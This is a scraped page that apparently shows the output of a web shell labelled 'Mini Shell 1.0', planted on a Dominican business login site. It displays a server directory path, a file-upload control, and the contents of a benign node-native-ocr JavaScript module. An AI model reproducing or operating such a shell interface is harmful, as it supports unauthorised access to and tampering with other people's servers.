HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/node-app/node_modules/node-native-ocr/lib/
Upload File :
Current File : //var/www/node-app/node_modules/node-native-ocr/lib/index.js
'use strict';

var _promise = require('babel-runtime/core-js/promise');

var _promise2 = _interopRequireDefault(_promise);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

const path = require('path');
let bindings;

const isElectron = process.versions.hasOwnProperty('electron');
const ocrPackagePath = 'node_modules/node-native-ocr';

if (isElectron) {
  const electron = require("electron");
  const appPath = (electron.app || electron.remote.app).getAppPath();
  const modulePath = path.resolve(appPath, ocrPackagePath, 'build/Release/node-native-ocr');
  bindings = __non_webpack_require__(modulePath);
} else {
  bindings = require('../build/Release/node-native-ocr.node');
}

const DEFAULT_LANG = 'eng';
const LANG_DELIMITER = '+';

const handleOptions = (options = {}) => {

  if (!options.lang) {
    options.lang = DEFAULT_LANG;
  }
  if (!options.tessdataPath) {
    if (isElectron) {
      console.log('Electron mode.');
      const electron = require("electron");
      const appPath = (electron.app || electron.remote.app).getAppPath();
      options.tessdataPath = path.resolve(appPath, ocrPackagePath, 'tessdata');
    } else {
      console.log('Node mode.');
      options.tessdataPath = path.resolve(__dirname, "..", "tessdata");
    }
  }
  if (!options.format) {
    options.format = 'txt';
  }

  if (Array.isArray(options.lang)) {
    options.lang = options.lang.join(LANG_DELIMITER);
  }

  return options;
};

const makePromise = method => {

  return (arg, options) => new _promise2.default((resolve, reject) => {
    options = handleOptions(options);

    bindings[method](arg, options.lang, options.tessdataPath, options.format !== 'txt', (err, text) => {
      if (err) {
        console.log('error:', err);
        const error = new Error(text);
        error.code = err;
        return reject(error);
      } else {
        console.log('success:', text);
      }

      resolve(text.trim());
    });
  });
};

exports.recognize = makePromise('recognize');